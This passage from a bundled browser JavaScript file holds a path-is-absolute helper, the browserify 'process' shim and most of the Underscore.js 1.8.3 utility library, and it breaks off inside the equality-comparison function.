(process){ 'use strict'; function posix(path) { return path.charAt(0) === '/'; } function win32(path) { // https://github.com/nodejs/node/blob/b3fcc245fb25539909ef1d5eaa01dbf92e168633/lib/path.js#L56 var splitDeviceRe = /^([a-zA-Z]:|[\\\/]{2}[^\\\/]+[\\\/]+[^\\\/]+)?([\\\/])?([\s\S]*?)$/; var result = splitDeviceRe.exec(path); var device = result[1] || ''; var isUnc = Boolean(device && device.charAt(1) !== ':'); // UNC paths are always absolute return Boolean(result[2] || isUnc); } module.exports = process.platform === 'win32' ? win32 : posix; module.exports.posix = posix; module.exports.win32 = win32; }).call(this,require('_process')) },{"_process":24}],24:[function(require,module,exports){ // shim for using process in browser var process = module.exports = {}; // cached from whatever global is present so that test runners that stub it // don't break things. But we need to wrap it in a try catch in case it is // wrapped in strict mode code which doesn't define any globals. It's inside a // function because try/catches deoptimize in certain engines. var cachedSetTimeout; var cachedClearTimeout; function defaultSetTimout() { throw new Error('setTimeout has not been defined'); } function defaultClearTimeout () { throw new Error('clearTimeout has not been defined'); } (function () { try { if (typeof setTimeout === 'function') { cachedSetTimeout = setTimeout; } else { cachedSetTimeout = defaultSetTimout; } } catch (e) { cachedSetTimeout = defaultSetTimout; } try { if (typeof clearTimeout === 'function') { cachedClearTimeout = clearTimeout; } else { cachedClearTimeout = defaultClearTimeout; } } catch (e) { cachedClearTimeout = defaultClearTimeout; } } ()) function runTimeout(fun) { if (cachedSetTimeout === setTimeout) { //normal enviroments in sane situations return setTimeout(fun, 0); } // if setTimeout wasn't available but was latter defined if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) { cachedSetTimeout = setTimeout; return setTimeout(fun, 0); } try { // when when somebody has screwed with setTimeout but no I.E. maddness return cachedSetTimeout(fun, 0); } catch(e){ try { // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally return cachedSetTimeout.call(null, fun, 0); } catch(e){ // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error return cachedSetTimeout.call(this, fun, 0); } } } function runClearTimeout(marker) { if (cachedClearTimeout === clearTimeout) { //normal enviroments in sane situations return clearTimeout(marker); } // if clearTimeout wasn't available but was latter defined if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) { cachedClearTimeout = clearTimeout; return clearTimeout(marker); } try { // when when somebody has screwed with setTimeout but no I.E. maddness return cachedClearTimeout(marker); } catch (e){ try { // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally return cachedClearTimeout.call(null, marker); } catch (e){ // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error. // Some versions of I.E. have different rules for clearTimeout vs setTimeout return cachedClearTimeout.call(this, marker); } } } var queue = []; var draining = false; var currentQueue; var queueIndex = -1; function cleanUpNextTick() { if (!draining || !currentQueue) { return; } draining = false; if (currentQueue.length) { queue = currentQueue.concat(queue); } else { queueIndex = -1; } if (queue.length) { drainQueue(); } } function drainQueue() { if (draining) { return; } var timeout = runTimeout(cleanUpNextTick); draining = true; var len = queue.length; while(len) { currentQueue = queue; queue = []; while (++queueIndex < len) { if (currentQueue) { currentQueue[queueIndex].run(); } } queueIndex = -1; len = queue.length; } currentQueue = null; draining = false; runClearTimeout(timeout); } process.nextTick = function (fun) { var args = new Array(arguments.length - 1); if (arguments.length > 1) { for (var i = 1; i < arguments.length; i++) { args[i - 1] = arguments[i]; } } queue.push(new Item(fun, args)); if (queue.length === 1 && !draining) { runTimeout(drainQueue); } }; // v8 likes predictible objects function Item(fun, array) { this.fun = fun; this.array = array; } Item.prototype.run = function () { this.fun.apply(null, this.array); }; process.title = 'browser'; process.browser = true; process.env = {}; process.argv = []; process.version = ''; // empty string to avoid regexp issues process.versions = {}; function noop() {} process.on = noop; process.addListener = noop; process.once = noop; process.off = noop; process.removeListener = noop; process.removeAllListeners = noop; process.emit = noop; process.prependListener = noop; process.prependOnceListener = noop; process.listeners = function (name) { return [] } process.binding = function (name) { throw new Error('process.binding is not supported'); }; process.cwd = function () { return '/' }; process.chdir = function (dir) { throw new Error('process.chdir is not supported'); }; process.umask = function() { return 0; }; },{}],25:[function(require,module,exports){ // Underscore.js 1.8.3 // http://underscorejs.org // (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors // Underscore may be freely distributed under the MIT license. (function() { // Baseline setup // -------------- // Establish the root object, `window` in the browser, or `exports` on the server. var root = this; // Save the previous value of the `_` variable. var previousUnderscore = root._; // Save bytes in the minified (but not gzipped) version: var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype; // Create quick reference variables for speed access to core prototypes. var push = ArrayProto.push, slice = ArrayProto.slice, toString = ObjProto.toString, hasOwnProperty = ObjProto.hasOwnProperty; // All **ECMAScript 5** native function implementations that we hope to use // are declared here. var nativeIsArray = Array.isArray, nativeKeys = Object.keys, nativeBind = FuncProto.bind, nativeCreate = Object.create; // Naked function reference for surrogate-prototype-swapping. var Ctor = function(){}; // Create a safe reference to the Underscore object for use below. var _ = function(obj) { if (obj instanceof _) return obj; if (!(this instanceof _)) return new _(obj); this._wrapped = obj; }; // Export the Underscore object for **Node.js**, with // backwards-compatibility for the old `require()` API. If we're in // the browser, add `_` as a global object. if (typeof exports !== 'undefined') { if (typeof module !== 'undefined' && module.exports) { exports = module.exports = _; } exports._ = _; } else { root._ = _; } // Current version. _.VERSION = '1.8.3'; // Internal function that returns an efficient (for current engines) version // of the passed-in callback, to be repeatedly applied in other Underscore // functions. var optimizeCb = function(func, context, argCount) { if (context === void 0) return func; switch (argCount == null ? 3 : argCount) { case 1: return function(value) { return func.call(context, value); }; case 2: return function(value, other) { return func.call(context, value, other); }; case 3: return function(value, index, collection) { return func.call(context, value, index, collection); }; case 4: return function(accumulator, value, index, collection) { return func.call(context, accumulator, value, index, collection); }; } return function() { return func.apply(context, arguments); }; }; // A mostly-internal function to generate callbacks that can be applied // to each element in a collection, returning the desired result — either // identity, an arbitrary callback, a property matcher, or a property accessor. var cb = function(value, context, argCount) { if (value == null) return _.identity; if (_.isFunction(value)) return optimizeCb(value, context, argCount); if (_.isObject(value)) return _.matcher(value); return _.property(value); }; _.iteratee = function(value, context) { return cb(value, context, Infinity); }; // An internal function for creating assigner functions. var createAssigner = function(keysFunc, undefinedOnly) { return function(obj) { var length = arguments.length; if (length < 2 || obj == null) return obj; for (var index = 1; index < length; index++) { var source = arguments[index], keys = keysFunc(source), l = keys.length; for (var i = 0; i < l; i++) { var key = keys[i]; if (!undefinedOnly || obj[key] === void 0) obj[key] = source[key]; } } return obj; }; }; // An internal function for creating a new object that inherits from another. var baseCreate = function(prototype) { if (!_.isObject(prototype)) return {}; if (nativeCreate) return nativeCreate(prototype); Ctor.prototype = prototype; var result = new Ctor; Ctor.prototype = null; return result; }; var property = function(key) { return function(obj) { return obj == null ? void 0 : obj[key]; }; }; // Helper for collection methods to determine whether a collection // should be iterated as an array or as an object // Related: http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength // Avoids a very nasty iOS 8 JIT bug on ARM-64. #2094 var MAX_ARRAY_INDEX = Math.pow(2, 53) - 1; var getLength = property('length'); var isArrayLike = function(collection) { var length = getLength(collection); return typeof length == 'number' && length >= 0 && length <= MAX_ARRAY_INDEX; }; // Collection Functions // -------------------- // The cornerstone, an `each` implementation, aka `forEach`. // Handles raw objects in addition to array-likes. Treats all // sparse array-likes as if they were dense. _.each = _.forEach = function(obj, iteratee, context) { iteratee = optimizeCb(iteratee, context); var i, length; if (isArrayLike(obj)) { for (i = 0, length = obj.length; i < length; i++) { iteratee(obj[i], i, obj); } } else { var keys = _.keys(obj); for (i = 0, length = keys.length; i < length; i++) { iteratee(obj[keys[i]], keys[i], obj); } } return obj; }; // Return the results of applying the iteratee to each element. _.map = _.collect = function(obj, iteratee, context) { iteratee = cb(iteratee, context); var keys = !isArrayLike(obj) && _.keys(obj), length = (keys || obj).length, results = Array(length); for (var index = 0; index < length; index++) { var currentKey = keys ? keys[index] : index; results[index] = iteratee(obj[currentKey], currentKey, obj); } return results; }; // Create a reducing function iterating left or right. function createReduce(dir) { // Optimized iterator function as using arguments.length // in the main function will deoptimize the, see #1991. function iterator(obj, iteratee, memo, keys, index, length) { for (; index >= 0 && index < length; index += dir) { var currentKey = keys ? keys[index] : index; memo = iteratee(memo, obj[currentKey], currentKey, obj); } return memo; } return function(obj, iteratee, memo, context) { iteratee = optimizeCb(iteratee, context, 4); var keys = !isArrayLike(obj) && _.keys(obj), length = (keys || obj).length, index = dir > 0 ? 0 : length - 1; // Determine the initial value if none is provided. if (arguments.length < 3) { memo = obj[keys ? keys[index] : index]; index += dir; } return iterator(obj, iteratee, memo, keys, index, length); }; } // **Reduce** builds up a single result from a list of values, aka `inject`, // or `foldl`. _.reduce = _.foldl = _.inject = createReduce(1); // The right-associative version of reduce, also known as `foldr`. _.reduceRight = _.foldr = createReduce(-1); // Return the first value which passes a truth test. Aliased as `detect`. _.find = _.detect = function(obj, predicate, context) { var key; if (isArrayLike(obj)) { key = _.findIndex(obj, predicate, context); } else { key = _.findKey(obj, predicate, context); } if (key !== void 0 && key !== -1) return obj[key]; }; // Return all the elements that pass a truth test. // Aliased as `select`. _.filter = _.select = function(obj, predicate, context) { var results = []; predicate = cb(predicate, context); _.each(obj, function(value, index, list) { if (predicate(value, index, list)) results.push(value); }); return results; }; // Return all the elements for which a truth test fails. _.reject = function(obj, predicate, context) { return _.filter(obj, _.negate(cb(predicate)), context); }; // Determine whether all of the elements match a truth test. // Aliased as `all`. _.every = _.all = function(obj, predicate, context) { predicate = cb(predicate, context); var keys = !isArrayLike(obj) && _.keys(obj), length = (keys || obj).length; for (var index = 0; index < length; index++) { var currentKey = keys ? keys[index] : index; if (!predicate(obj[currentKey], currentKey, obj)) return false; } return true; }; // Determine if at least one element in the object matches a truth test. // Aliased as `any`. _.some = _.any = function(obj, predicate, context) { predicate = cb(predicate, context); var keys = !isArrayLike(obj) && _.keys(obj), length = (keys || obj).length; for (var index = 0; index < length; index++) { var currentKey = keys ? keys[index] : index; if (predicate(obj[currentKey], currentKey, obj)) return true; } return false; }; // Determine if the array or object contains a given item (using `===`). // Aliased as `includes` and `include`. _.contains = _.includes = _.include = function(obj, item, fromIndex, guard) { if (!isArrayLike(obj)) obj = _.values(obj); if (typeof fromIndex != 'number' || guard) fromIndex = 0; return _.indexOf(obj, item, fromIndex) >= 0; }; // Invoke a method (with arguments) on every item in a collection. _.invoke = function(obj, method) { var args = slice.call(arguments, 2); var isFunc = _.isFunction(method); return _.map(obj, function(value) { var func = isFunc ? method : value[method]; return func == null ? func : func.apply(value, args); }); }; // Convenience version of a common use case of `map`: fetching a property. _.pluck = function(obj, key) { return _.map(obj, _.property(key)); }; // Convenience version of a common use case of `filter`: selecting only objects // containing specific `key:value` pairs. _.where = function(obj, attrs) { return _.filter(obj, _.matcher(attrs)); }; // Convenience version of a common use case of `find`: getting the first object // containing specific `key:value` pairs. _.findWhere = function(obj, attrs) { return _.find(obj, _.matcher(attrs)); }; // Return the maximum element (or element-based computation). _.max = function(obj, iteratee, context) { var result = -Infinity, lastComputed = -Infinity, value, computed; if (iteratee == null && obj != null) { obj = isArrayLike(obj) ? obj : _.values(obj); for (var i = 0, length = obj.length; i < length; i++) { value = obj[i]; if (value > result) { result = value; } } } else { iteratee = cb(iteratee, context); _.each(obj, function(value, index, list) { computed = iteratee(value, index, list); if (computed > lastComputed || computed === -Infinity && result === -Infinity) { result = value; lastComputed = computed; } }); } return result; }; // Return the minimum element (or element-based computation). _.min = function(obj, iteratee, context) { var result = Infinity, lastComputed = Infinity, value, computed; if (iteratee == null && obj != null) { obj = isArrayLike(obj) ? obj : _.values(obj); for (var i = 0, length = obj.length; i < length; i++) { value = obj[i]; if (value < result) { result = value; } } } else { iteratee = cb(iteratee, context); _.each(obj, function(value, index, list) { computed = iteratee(value, index, list); if (computed < lastComputed || computed === Infinity && result === Infinity) { result = value; lastComputed = computed; } }); } return result; }; // Shuffle a collection, using the modern version of the // [Fisher-Yates shuffle](http://en.wikipedia.org/wiki/Fisher–Yates_shuffle). _.shuffle = function(obj) { var set = isArrayLike(obj) ? obj : _.values(obj); var length = set.length; var shuffled = Array(length); for (var index = 0, rand; index < length; index++) { rand = _.random(0, index); if (rand !== index) shuffled[index] = shuffled[rand]; shuffled[rand] = set[index]; } return shuffled; }; // Sample **n** random values from a collection. // If **n** is not specified, returns a single random element. // The internal `guard` argument allows it to work with `map`. _.sample = function(obj, n, guard) { if (n == null || guard) { if (!isArrayLike(obj)) obj = _.values(obj); return obj[_.random(obj.length - 1)]; } return _.shuffle(obj).slice(0, Math.max(0, n)); }; // Sort the object's values by a criterion produced by an iteratee. _.sortBy = function(obj, iteratee, context) { iteratee = cb(iteratee, context); return _.pluck(_.map(obj, function(value, index, list) { return { value: value, index: index, criteria: iteratee(value, index, list) }; }).sort(function(left, right) { var a = left.criteria; var b = right.criteria; if (a !== b) { if (a > b || a === void 0) return 1; if (a < b || b === void 0) return -1; } return left.index - right.index; }), 'value'); }; // An internal function used for aggregate "group by" operations. var group = function(behavior) { return function(obj, iteratee, context) { var result = {}; iteratee = cb(iteratee, context); _.each(obj, function(value, index) { var key = iteratee(value, index, obj); behavior(result, value, key); }); return result; }; }; // Groups the object's values by a criterion. Pass either a string attribute // to group by, or a function that returns the criterion. _.groupBy = group(function(result, value, key) { if (_.has(result, key)) result[key].push(value); else result[key] = [value]; }); // Indexes the object's values by a criterion, similar to `groupBy`, but for // when you know that your index values will be unique. _.indexBy = group(function(result, value, key) { result[key] = value; }); // Counts instances of an object that group by a certain criterion. Pass // either a string attribute to count by, or a function that returns the // criterion. _.countBy = group(function(result, value, key) { if (_.has(result, key)) result[key]++; else result[key] = 1; }); // Safely create a real, live array from anything iterable. _.toArray = function(obj) { if (!obj) return []; if (_.isArray(obj)) return slice.call(obj); if (isArrayLike(obj)) return _.map(obj, _.identity); return _.values(obj); }; // Return the number of elements in an object. _.size = function(obj) { if (obj == null) return 0; return isArrayLike(obj) ? obj.length : _.keys(obj).length; }; // Split a collection into two arrays: one whose elements all satisfy the given // predicate, and one whose elements all do not satisfy the predicate. _.partition = function(obj, predicate, context) { predicate = cb(predicate, context); var pass = [], fail = []; _.each(obj, function(value, key, obj) { (predicate(value, key, obj) ? pass : fail).push(value); }); return [pass, fail]; }; // Array Functions // --------------- // Get the first element of an array. Passing **n** will return the first N // values in the array. Aliased as `head` and `take`. The **guard** check // allows it to work with `_.map`. _.first = _.head = _.take = function(array, n, guard) { if (array == null) return void 0; if (n == null || guard) return array[0]; return _.initial(array, array.length - n); }; // Returns everything but the last entry of the array. Especially useful on // the arguments object. Passing **n** will return all the values in // the array, excluding the last N. _.initial = function(array, n, guard) { return slice.call(array, 0, Math.max(0, array.length - (n == null || guard ? 1 : n))); }; // Get the last element of an array. Passing **n** will return the last N // values in the array. _.last = function(array, n, guard) { if (array == null) return void 0; if (n == null || guard) return array[array.length - 1]; return _.rest(array, Math.max(0, array.length - n)); }; // Returns everything but the first entry of the array. Aliased as `tail` and `drop`. // Especially useful on the arguments object. Passing an **n** will return // the rest N values in the array. _.rest = _.tail = _.drop = function(array, n, guard) { return slice.call(array, n == null || guard ? 1 : n); }; // Trim out all falsy values from an array. _.compact = function(array) { return _.filter(array, _.identity); }; // Internal implementation of a recursive `flatten` function. var flatten = function(input, shallow, strict, startIndex) { var output = [], idx = 0; for (var i = startIndex || 0, length = getLength(input); i < length; i++) { var value = input[i]; if (isArrayLike(value) && (_.isArray(value) || _.isArguments(value))) { //flatten current level of array or arguments object if (!shallow) value = flatten(value, shallow, strict); var j = 0, len = value.length; output.length += len; while (j < len) { output[idx++] = value[j++]; } } else if (!strict) { output[idx++] = value; } } return output; }; // Flatten out an array, either recursively (by default), or just one level. _.flatten = function(array, shallow) { return flatten(array, shallow, false); }; // Return a version of the array that does not contain the specified value(s). _.without = function(array) { return _.difference(array, slice.call(arguments, 1)); }; // Produce a duplicate-free version of the array. If the array has already // been sorted, you have the option of using a faster algorithm. // Aliased as `unique`. _.uniq = _.unique = function(array, isSorted, iteratee, context) { if (!_.isBoolean(isSorted)) { context = iteratee; iteratee = isSorted; isSorted = false; } if (iteratee != null) iteratee = cb(iteratee, context); var result = []; var seen = []; for (var i = 0, length = getLength(array); i < length; i++) { var value = array[i], computed = iteratee ? iteratee(value, i, array) : value; if (isSorted) { if (!i || seen !== computed) result.push(value); seen = computed; } else if (iteratee) { if (!_.contains(seen, computed)) { seen.push(computed); result.push(value); } } else if (!_.contains(result, value)) { result.push(value); } } return result; }; // Produce an array that contains the union: each distinct element from all of // the passed-in arrays. _.union = function() { return _.uniq(flatten(arguments, true, true)); }; // Produce an array that contains every item shared between all the // passed-in arrays. _.intersection = function(array) { var result = []; var argsLength = arguments.length; for (var i = 0, length = getLength(array); i < length; i++) { var item = array[i]; if (_.contains(result, item)) continue; for (var j = 1; j < argsLength; j++) { if (!_.contains(arguments[j], item)) break; } if (j === argsLength) result.push(item); } return result; }; // Take the difference between one array and a number of other arrays. // Only the elements present in just the first array will remain. _.difference = function(array) { var rest = flatten(arguments, true, true, 1); return _.filter(array, function(value){ return !_.contains(rest, value); }); }; // Zip together multiple lists into a single array -- elements that share // an index go together. _.zip = function() { return _.unzip(arguments); }; // Complement of _.zip. Unzip accepts an array of arrays and groups // each array's elements on shared indices _.unzip = function(array) { var length = array && _.max(array, getLength).length || 0; var result = Array(length); for (var index = 0; index < length; index++) { result[index] = _.pluck(array, index); } return result; }; // Converts lists into objects. Pass either a single array of `[key, value]` // pairs, or two parallel arrays of the same length -- one of keys, and one of // the corresponding values. _.object = function(list, values) { var result = {}; for (var i = 0, length = getLength(list); i < length; i++) { if (values) { result[list[i]] = values[i]; } else { result[list[i][0]] = list[i][1]; } } return result; }; // Generator function to create the findIndex and findLastIndex functions function createPredicateIndexFinder(dir) { return function(array, predicate, context) { predicate = cb(predicate, context); var length = getLength(array); var index = dir > 0 ? 0 : length - 1; for (; index >= 0 && index < length; index += dir) { if (predicate(array[index], index, array)) return index; } return -1; }; } // Returns the first index on an array-like that passes a predicate test _.findIndex = createPredicateIndexFinder(1); _.findLastIndex = createPredicateIndexFinder(-1); // Use a comparator function to figure out the smallest index at which // an object should be inserted so as to maintain order. Uses binary search. _.sortedIndex = function(array, obj, iteratee, context) { iteratee = cb(iteratee, context, 1); var value = iteratee(obj); var low = 0, high = getLength(array); while (low < high) { var mid = Math.floor((low + high) / 2); if (iteratee(array[mid]) < value) low = mid + 1; else high = mid; } return low; }; // Generator function to create the indexOf and lastIndexOf functions function createIndexFinder(dir, predicateFind, sortedIndex) { return function(array, item, idx) { var i = 0, length = getLength(array); if (typeof idx == 'number') { if (dir > 0) { i = idx >= 0 ? idx : Math.max(idx + length, i); } else { length = idx >= 0 ? Math.min(idx + 1, length) : idx + length + 1; } } else if (sortedIndex && idx && length) { idx = sortedIndex(array, item); return array[idx] === item ? idx : -1; } if (item !== item) { idx = predicateFind(slice.call(array, i, length), _.isNaN); return idx >= 0 ? idx + i : -1; } for (idx = dir > 0 ? i : length - 1; idx >= 0 && idx < length; idx += dir) { if (array[idx] === item) return idx; } return -1; }; } // Return the position of the first occurrence of an item in an array, // or -1 if the item is not included in the array. // If the array is large and already in sort order, pass `true` // for **isSorted** to use binary search. _.indexOf = createIndexFinder(1, _.findIndex, _.sortedIndex); _.lastIndexOf = createIndexFinder(-1, _.findLastIndex); // Generate an integer Array containing an arithmetic progression. A port of // the native Python `range()` function. See // [the Python documentation](http://docs.python.org/library/functions.html#range). _.range = function(start, stop, step) { if (stop == null) { stop = start || 0; start = 0; } step = step || 1; var length = Math.max(Math.ceil((stop - start) / step), 0); var range = Array(length); for (var idx = 0; idx < length; idx++, start += step) { range[idx] = start; } return range; }; // Function (ahem) Functions // ------------------ // Determines whether to execute a function as a constructor // or a normal function with the provided arguments var executeBound = function(sourceFunc, boundFunc, context, callingContext, args) { if (!(callingContext instanceof boundFunc)) return sourceFunc.apply(context, args); var self = baseCreate(sourceFunc.prototype); var result = sourceFunc.apply(self, args); if (_.isObject(result)) return result; return self; }; // Create a function bound to a given object (assigning `this`, and arguments, // optionally). Delegates to **ECMAScript 5**'s native `Function.bind` if // available. _.bind = function(func, context) { if (nativeBind && func.bind === nativeBind) return nativeBind.apply(func, slice.call(arguments, 1)); if (!_.isFunction(func)) throw new TypeError('Bind must be called on a function'); var args = slice.call(arguments, 2); var bound = function() { return executeBound(func, bound, context, this, args.concat(slice.call(arguments))); }; return bound; }; // Partially apply a function by creating a version that has had some of its // arguments pre-filled, without changing its dynamic `this` context. _ acts // as a placeholder, allowing any combination of arguments to be pre-filled. _.partial = function(func) { var boundArgs = slice.call(arguments, 1); var bound = function() { var position = 0, length = boundArgs.length; var args = Array(length); for (var i = 0; i < length; i++) { args[i] = boundArgs[i] === _ ? arguments[position++] : boundArgs[i]; } while (position < arguments.length) args.push(arguments[position++]); return executeBound(func, bound, this, this, args); }; return bound; }; // Bind a number of an object's methods to that object. Remaining arguments // are the method names to be bound. Useful for ensuring that all callbacks // defined on an object belong to it. _.bindAll = function(obj) { var i, length = arguments.length, key; if (length <= 1) throw new Error('bindAll must be passed function names'); for (i = 1; i < length; i++) { key = arguments[i]; obj[key] = _.bind(obj[key], obj); } return obj; }; // Memoize an expensive function by storing its results. _.memoize = function(func, hasher) { var memoize = function(key) { var cache = memoize.cache; var address = '' + (hasher ? hasher.apply(this, arguments) : key); if (!_.has(cache, address)) cache[address] = func.apply(this, arguments); return cache[address]; }; memoize.cache = {}; return memoize; }; // Delays a function for the given number of milliseconds, and then calls // it with the arguments supplied. _.delay = function(func, wait) { var args = slice.call(arguments, 2); return setTimeout(function(){ return func.apply(null, args); }, wait); }; // Defers a function, scheduling it to run after the current call stack has // cleared. _.defer = _.partial(_.delay, _, 1); // Returns a function, that, when invoked, will only be triggered at most once // during a given window of time. Normally, the throttled function will run // as much as it can, without ever going more than once per `wait` duration; // but if you'd like to disable the execution on the leading edge, pass // `{leading: false}`. To disable execution on the trailing edge, ditto. _.throttle = function(func, wait, options) { var context, args, result; var timeout = null; var previous = 0; if (!options) options = {}; var later = function() { previous = options.leading === false ? 0 : _.now(); timeout = null; result = func.apply(context, args); if (!timeout) context = args = null; }; return function() { var now = _.now(); if (!previous && options.leading === false) previous = now; var remaining = wait - (now - previous); context = this; args = arguments; if (remaining <= 0 || remaining > wait) { if (timeout) { clearTimeout(timeout); timeout = null; } previous = now; result = func.apply(context, args); if (!timeout) context = args = null; } else if (!timeout && options.trailing !== false) { timeout = setTimeout(later, remaining); } return result; }; }; // Returns a function, that, as long as it continues to be invoked, will not // be triggered. The function will be called after it stops being called for // N milliseconds. If `immediate` is passed, trigger the function on the // leading edge, instead of the trailing. _.debounce = function(func, wait, immediate) { var timeout, args, context, timestamp, result; var later = function() { var last = _.now() - timestamp; if (last < wait && last >= 0) { timeout = setTimeout(later, wait - last); } else { timeout = null; if (!immediate) { result = func.apply(context, args); if (!timeout) context = args = null; } } }; return function() { context = this; args = arguments; timestamp = _.now(); var callNow = immediate && !timeout; if (!timeout) timeout = setTimeout(later, wait); if (callNow) { result = func.apply(context, args); context = args = null; } return result; }; }; // Returns the first function passed as an argument to the second, // allowing you to adjust arguments, run code before and after, and // conditionally execute the original function. _.wrap = function(func, wrapper) { return _.partial(wrapper, func); }; // Returns a negated version of the passed-in predicate. _.negate = function(predicate) { return function() { return !predicate.apply(this, arguments); }; }; // Returns a function that is the composition of a list of functions, each // consuming the return value of the function that follows. _.compose = function() { var args = arguments; var start = args.length - 1; return function() { var i = start; var result = args[start].apply(this, arguments); while (i--) result = args[i].call(this, result); return result; }; }; // Returns a function that will only be executed on and after the Nth call. _.after = function(times, func) { return function() { if (--times < 1) { return func.apply(this, arguments); } }; }; // Returns a function that will only be executed up to (but not including) the Nth call. _.before = function(times, func) { var memo; return function() { if (--times > 0) { memo = func.apply(this, arguments); } if (times <= 1) func = null; return memo; }; }; // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. _.once = _.partial(_.before, 2); // Object Functions // ---------------- // Keys in IE < 9 that won't be iterated by `for key in ...` and thus missed. var hasEnumBug = !{toString: null}.propertyIsEnumerable('toString'); var nonEnumerableProps = ['valueOf', 'isPrototypeOf', 'toString', 'propertyIsEnumerable', 'hasOwnProperty', 'toLocaleString']; function collectNonEnumProps(obj, keys) { var nonEnumIdx = nonEnumerableProps.length; var constructor = obj.constructor; var proto = (_.isFunction(constructor) && constructor.prototype) || ObjProto; // Constructor is a special case. var prop = 'constructor'; if (_.has(obj, prop) && !_.contains(keys, prop)) keys.push(prop); while (nonEnumIdx--) { prop = nonEnumerableProps[nonEnumIdx]; if (prop in obj && obj[prop] !== proto[prop] && !_.contains(keys, prop)) { keys.push(prop); } } } // Retrieve the names of an object's own properties. // Delegates to **ECMAScript 5**'s native `Object.keys` _.keys = function(obj) { if (!_.isObject(obj)) return []; if (nativeKeys) return nativeKeys(obj); var keys = []; for (var key in obj) if (_.has(obj, key)) keys.push(key); // Ahem, IE < 9. if (hasEnumBug) collectNonEnumProps(obj, keys); return keys; }; // Retrieve all the property names of an object. _.allKeys = function(obj) { if (!_.isObject(obj)) return []; var keys = []; for (var key in obj) keys.push(key); // Ahem, IE < 9. if (hasEnumBug) collectNonEnumProps(obj, keys); return keys; }; // Retrieve the values of an object's properties. _.values = function(obj) { var keys = _.keys(obj); var length = keys.length; var values = Array(length); for (var i = 0; i < length; i++) { values[i] = obj[keys[i]]; } return values; }; // Returns the results of applying the iteratee to each element of the object // In contrast to _.map it returns an object _.mapObject = function(obj, iteratee, context) { iteratee = cb(iteratee, context); var keys = _.keys(obj), length = keys.length, results = {}, currentKey; for (var index = 0; index < length; index++) { currentKey = keys[index]; results[currentKey] = iteratee(obj[currentKey], currentKey, obj); } return results; }; // Convert an object into a list of `[key, value]` pairs. _.pairs = function(obj) { var keys = _.keys(obj); var length = keys.length; var pairs = Array(length); for (var i = 0; i < length; i++) { pairs[i] = [keys[i], obj[keys[i]]]; } return pairs; }; // Invert the keys and values of an object. The values must be serializable. _.invert = function(obj) { var result = {}; var keys = _.keys(obj); for (var i = 0, length = keys.length; i < length; i++) { result[obj[keys[i]]] = keys[i]; } return result; }; // Return a sorted list of the function names available on the object. // Aliased as `methods` _.functions = _.methods = function(obj) { var names = []; for (var key in obj) { if (_.isFunction(obj[key])) names.push(key); } return names.sort(); }; // Extend a given object with all the properties in passed-in object(s). _.extend = createAssigner(_.allKeys); // Assigns a given object with all the own properties in the passed-in object(s) // (https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) _.extendOwn = _.assign = createAssigner(_.keys); // Returns the first key on an object that passes a predicate test _.findKey = function(obj, predicate, context) { predicate = cb(predicate, context); var keys = _.keys(obj), key; for (var i = 0, length = keys.length; i < length; i++) { key = keys[i]; if (predicate(obj[key], key, obj)) return key; } }; // Return a copy of the object only containing the whitelisted properties. _.pick = function(object, oiteratee, context) { var result = {}, obj = object, iteratee, keys; if (obj == null) return result; if (_.isFunction(oiteratee)) { keys = _.allKeys(obj); iteratee = optimizeCb(oiteratee, context); } else { keys = flatten(arguments, false, false, 1); iteratee = function(value, key, obj) { return key in obj; }; obj = Object(obj); } for (var i = 0, length = keys.length; i < length; i++) { var key = keys[i]; var value = obj[key]; if (iteratee(value, key, obj)) result[key] = value; } return result; }; // Return a copy of the object without the blacklisted properties. _.omit = function(obj, iteratee, context) { if (_.isFunction(iteratee)) { iteratee = _.negate(iteratee); } else { var keys = _.map(flatten(arguments, false, false, 1), String); iteratee = function(value, key) { return !_.contains(keys, key); }; } return _.pick(obj, iteratee, context); }; // Fill in a given object with default properties. _.defaults = createAssigner(_.allKeys, true); // Creates an object that inherits from the given prototype object. // If additional properties are provided then they will be added to the // created object. _.create = function(prototype, props) { var result = baseCreate(prototype); if (props) _.extendOwn(result, props); return result; }; // Create a (shallow-cloned) duplicate of an object. _.clone = function(obj) { if (!_.isObject(obj)) return obj; return _.isArray(obj) ? obj.slice() : _.extend({}, obj); }; // Invokes interceptor with the obj, and then returns obj. // The primary purpose of this method is to "tap into" a method chain, in // order to perform operations on intermediate results within the chain. _.tap = function(obj, interceptor) { interceptor(obj); return obj; }; // Returns whether an object has a given set of `key:value` pairs. _.isMatch = function(object, attrs) { var keys = _.keys(attrs), length = keys.length; if (object == null) return !length; var obj = Object(object); for (var i = 0; i < length; i++) { var key = keys[i]; if (attrs[key] !== obj[key] || !(key in obj)) return false; } return true; }; // Internal recursive comparison function for `isEqual`. var eq = function(a, b, aStack, bStack) { // Identical objects are equal. `0 === -0`, but they aren't identical. // See the [Harmony `egal` proposal](http://wiki.ecmascript.org/doku.php?id=harmony:egal). if (a === b) return a !== 0 || 1 / a === 1 / b; // A strict comparison is necessary because `null == undefined`. if (a == null || b == null) return a === b; // Unwrap any wrapped objects. if (a instanceof _) a = a._wrapped; if (b instanceof _) b = b._wrapped; // Compare `[[Class]]` names. var className = toString.call(a); if (className !== toString.call(b)) return false; switch (className) { // Strings, numbers, regular expressions, dates, and booleans are compared by value. case '[object RegExp]': // RegExps are coerced to strings for comparison (Note: '' + /a/i === '/a/i') case '[object String]': // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is // equivalent to `new String("5")`. return '' + a === '' + b; case '[object Number]': // `NaN`s are equivalent, but non-reflexive. // Object(NaN) is equivalent to NaN if (+a !== +a) return +b !== +b; // An `egal` comparison is performed for other numeric values. return +a === 0 ? 1 / +a === 1 / b : +a === +b; case '[object Date]': case '[object Boolean]': // Coerce dates and booleans to numeric primitive values. Dates are compared by their // millisecond representations. Note that invalid dates with millisecond representations // of `NaN` 